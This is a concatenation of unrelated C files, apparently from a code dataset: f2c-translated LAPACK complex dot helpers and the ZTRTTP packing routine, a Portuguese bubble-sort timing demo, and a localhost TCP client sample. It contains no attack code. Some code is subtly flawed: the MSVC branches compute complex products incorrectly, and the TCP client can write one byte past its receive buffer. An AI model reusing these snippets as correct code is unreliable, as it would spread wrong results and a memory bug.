zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b ZTRTTP copies a triangular matrix from the standard full format (TR) to the standard packed for
mat (TP). */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZTRTTP + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/ztrttp.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/ztrttp.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/ztrttp.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZTRTTP( UPLO, N, A, LDA, AP, INFO ) */
/* CHARACTER UPLO */
/* INTEGER INFO, N, LDA */
/* COMPLEX*16 A( LDA, * ), AP( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZTRTTP copies a triangular matrix A from full format (TR) to standard */
/* > packed format (TP). */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] UPLO */
/* > \verbatim */
/* > UPLO is CHARACTER*1 */
/* > = 'U': A is upper triangular; */
/* > = 'L': A is lower triangular. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrices AP and A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension (LDA,N) */
/* > On entry, the triangular matrix A. If UPLO = 'U', the leading */
/* > N-by-N upper triangular part of A contains the upper */
/* > triangular part of the matrix A, and the strictly lower */
/* > triangular part of A is not referenced. If UPLO = 'L', the */
/* > leading N-by-N lower triangular part of A contains the lower */
/* > triangular part of the matrix A, and the strictly upper */
/* > triangular part of A is not referenced. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[out] AP */
/* > \verbatim */
/* > AP is COMPLEX*16 array, dimension ( N*(N+1)/2 ), */
/* > On exit, the upper or lower triangular matrix A, packed */
/* > columnwise in a linear array. The j-th column of A is stored */
/* > in the array AP as follows: */
/* > if UPLO = 'U', AP(i + (j-1)*j/2) = A(i,j) for 1<=i<=j; */
/* > if UPLO = 'L', AP(i + (j-1)*(2n-j)/2) = A(i,j) for j<=i<=n. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16OTHERcomputational */
/* ===================================================================== */
/* Subroutine */ int ztrttp_(char *uplo, integer *n, doublecomplex *a,
integer *lda, doublecomplex *ap, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3, i__4;
/* Local variables */
integer i__, j, k;
extern logical lsame_(char *, char *);
logical lower;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input parameters. */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--ap;
/* Function Body */
*info = 0;
lower = lsame_(uplo, "L");
if (! lower && ! lsame_(uplo, "U")) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*lda < f2cmax(1,*n)) {
*info = -4;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZTRTTP", &i__1, (ftnlen)6);
return 0;
}
if (lower) {
k = 0;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = *n;
for (i__ = j; i__ <= i__2; ++i__) {
++k;
i__3 = k;
i__4 = i__ + j * a_dim1;
ap[i__3].r = a[i__4].r, ap[i__3].i = a[i__4].i;
}
}
} else {
k = 0;
i__1 = *n;
for (j = 1; j <= i__1; ++j) {
i__2 = j;
for (i__ = 1; i__ <= i__2; ++i__) {
++k;
i__3 = k;
i__4 = i__ + j * a_dim1;
ap[i__3].r = a[i__4].r, ap[i__3].i = a[i__4].i;
}
}
}
return 0;
/* End of ZTRTTP */
} /* ztrttp_ */
|
the_stack_data/92324814.c | #include <stdio.h>
#include <stdlib.h>
#ifdef __linux__
#include <sys/time.h>
#include <time.h>
#elif _WIN32
#include <sys/time.h>
#endif
#define TAM 1000
#define OPCAO 1 // 0 = vetor ordenado e 1 = aleatΓ³rio
struct pessoa {
char nome[30];
int idade;
};
void bubblesort(int vetor[], int n) ;
int main()
{
unsigned int i, j = 0;
struct timeval start, stop;
double secs = 0;
srand(time(NULL)); //chama apenas 1 vez*/
int *vetor = (int *)malloc(TAM * sizeof(int));
if (vetor == NULL)
{
printf("Nao foi possivel alocar o vetor");
return 0;
}
for (i = 0; i < TAM; i++)
{
if (OPCAO) //faz se OPCAO 1
{
*(vetor + i) = rand() % TAM; // retorna um valor entre 0 e TAM | *(vetor + 1) = vetor[i]
}
else
{
*(vetor + i) = i;
}
}
printf("Imprime as 10 ultimas posicoes: ");
for (j = TAM - 10; j < TAM ; j++)
{
printf("%d ", *(vetor + j));
}
printf("\nCarrega funcao...");
gettimeofday(&start, NULL);
bubblesort(vetor,TAM);
gettimeofday(&stop, NULL);
printf("\nFinaliza funcao...");
secs = (double)(stop.tv_usec - start.tv_usec) / 1000000 + (double)(stop.tv_sec - start.tv_sec);
printf("\nTempo decorrido %f em segundo(s)\n", secs);
printf("\nImprime as 10 ultimas posicoes: ");
for (j = TAM - 10; j < TAM ; j++)
{
printf("%d ", *(vetor + j));
}
free(vetor);
}
void bubblesort (int vetor[], int n) {
int k, j, aux;
for (k = 1; k < n; k++) {
for (j = 0; j < n - 1; j++) {
if (vetor[j] > vetor[j + 1]) {
aux = vetor[j];
vetor[j] = vetor[j + 1];
vetor[j + 1] = aux;
}
}
}
} |
the_stack_data/220755.c |
/* Sample TCP client */
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
int main(int argc, char**argv)
{
int sockfd,n;
struct sockaddr_in servaddr;
char * sendline;
// sendline = "hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellolohellohellohellohellohellohellohellohellohellolohellohellohellohellohellohellohellohellohellolohellohellohellohellohellohellohellohellohellolo\r\n";
//sendline = "{\"cmd\":\"relaymsg\", \"to_pubkey_sha256\":\"SHA256 DIGEST OUTPUT\", \"to_message\":\"YHxkTtaZJJJgxmkmMcyNWRjC5Dw4KQCJJjc3BlBFCJPnEsTOAL0800AWwsuD3ztsXnOOhITjuxPRYggepL0lomMoKS2y68X0YutB1wHeWJauRDfY93NVAsvkVa7IiVrfj6HzSdCCA5bL3LfADGjChLMAVpaAQMgAGzwIef0wwBONQ7qtE9Si73cze47PlyI1LJtTJjVKJyHpCpLsVBLXRi0RWNDJCrBnyYCKGayXDy4RVdy9O4dnCY635HaP2zQXewvDbDcg1udM26BooWuw01C3HrgklELHFJQGiM3KirHl00D1H4xuMuow8FLQPdzmCwTBul7ftKWDJwms2Upz8DYmZKOBnQzRwl1AyCfuWsePpw78yRaDvoKy8o5YdSwATk1VaaJDWaykkbRS4cc8lcPOn05PNdpyWGTsM2qJfWo0VLH6o9s7DFSqOzADgDqIo5iArhXLtHuY3CbEo7lqLZ7bVXhCU1Gm3Plt4csuQ1onG9522Ad1tG6Gtdez1Q2dX5n8IcTW0pUrcVKTZdO8YZ4w0HUNL25OcDle7gmzkIgid036j9LpDk52gck8RShQMj8BApM9sSLrDujQzI7J9KQvfOnGHsY86Ph1SPFwgbjm1W3Kz49dEva9yXOLE3M9kIAPP2pvwcwGy5gwwlR4n7Hdbollx7RDrTe5JvHPWJN6hJqcbQzCFcTiW2TVPC9hbqbRDZzB7kZfF2R0vt9IKcnafLOEHH1MI58Av7Dxqikb7SG7TLNKjwEDQfjyCmJOFHp52Fa5OyhoLBmgBRyp7EDW6BCyCiPng58xWbZB6XgXF8UluqiPZzqQ8dzR2mgsHZZzGgpROIBI7H6dBnm9QxWhRIDlE6TfT9VrHTOjXXS558Zba6M8xATI73yNGrGOVxVrm0AgXyKxQKXvEZY28bEdA7LkQwalZWGbv1KqquJn4RDcYXD1iNPDPgRupPmBvgnPCUwi9zeb2lIE5o93Jp7aJWHobrhe4TE4j8Qjgp19fmJF7gSyb0n0SxawF8aPv6lHQn9wuG2iJwaGdsxboyzy3xWA2zFt0edqBHLbZvQ4DuURi7yDsNLvA80j46FDMYmbWzjduGKezq5R88tyrIBfxdfZTC9LwHlsB2zhI02fUSjj53NlQGvn3jfkUuGiotbOSILmIdnBEOqidDHIgrG9U5W9lwW6WfeoRI5e21sQYtPRvr5uCkzo9KPRPgri5zeMSYNdvailLyajPUrtV9OQrbNPeBv8fXYyZz61omQUS\"}\r\n";
sendline = "{\"cmd\":\"identupdate\", \"public_key\":\"sGuLWerX\"}\n";
sockfd=socket(AF_INET,SOCK_STREAM,0);
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=inet_addr("127.0.0.1");
servaddr.sin_port=htons(8022);
int connect_status = connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
printf("%d\n", connect_status);
int send_status = send(sockfd,sendline,strlen(sendline),0);
printf("%d\n", send_status);
char buffer[1024];
char buff[1024];
while(1){
int num = recv(sockfd, buffer, 1024, 0);
if(num <= 0){
printf("Either Connection Closed or Error\n");
}else{
buffer[num] = '\0';
printf("Client:Message Received From Server - %s\n",buffer);
}
}
printf("END\n");
return 0;
}
|
Subsets and Splits